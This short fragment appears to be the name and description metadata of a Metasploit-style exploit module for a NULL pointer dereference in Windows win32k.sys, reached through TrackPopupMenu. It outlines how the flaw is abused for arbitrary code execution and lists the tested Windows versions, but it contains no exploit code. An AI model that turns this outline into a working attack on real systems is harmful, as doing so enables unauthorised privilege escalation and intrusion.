'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
'Description' => %q{
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
can be triggered through the use of TrackPopupMenu. Under special conditions, the
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
code execution. This module has been tested successfully on Windows XP SP3, Windows
2003 SP2, Windows 7 SP1 and Windows 2008 32bits.
